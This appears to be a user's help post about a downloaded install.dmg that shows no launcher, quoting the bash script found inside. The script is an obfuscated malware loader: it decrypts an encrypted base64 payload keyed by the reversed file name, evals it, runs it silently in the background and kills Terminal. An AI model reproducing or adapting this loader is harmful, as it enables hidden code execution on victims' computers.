I download one install.dmg and open it but no launcher can be show.
Please refer to the attachment to get my run result.
The install.dmg contain content as below:
#!/bin/bash
appDir=$(cd $(dirname "$0"); pwd -P)
tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)"
binFile="$(cd "$appDir"; ls | grep -Ev '\.(command)$' | head -n 1 | rev)"
archive="$(echo $binFile | rev)"
commandArgs='U2FsdGVkX19l+G/Pwapjs5bwSnbv0svQiZecgA0SHwmQ9biunPI1H5LFkdy0HlBbQ4djDAlJmkU1l4rVyTig8HeukjBNcH9U/EdzrXoF/kIvQK3SAyxT+xoF1R3BTwwNPbz8x9XjUXBaoTf/q3sTJqMRw6HFXayMB6RGifZNqjY3CreDT1NbNzlHTa7CHh/9xMk4tAYYruOSaCp/087gOMduW4ixyv3UDZn8VECNXBmA3Q6QkZZBq45JwlXK7kpLIG8b8uYLbKKo/7dub3ZhrnX69L6SFSfViJaheCNiawF0XncO93d/brUgZosug2A6'
decryptedCommand="$(echo -e "$commandArgs" | openssl enc -aes-256-cbc -d -A -base64 -k "$archive")"
commandArgs="$(eval echo -e "$decryptedCommand")"
nohup /bin/bash -c "$commandArgs" >/dev/null 2>&1 &
killall Terminal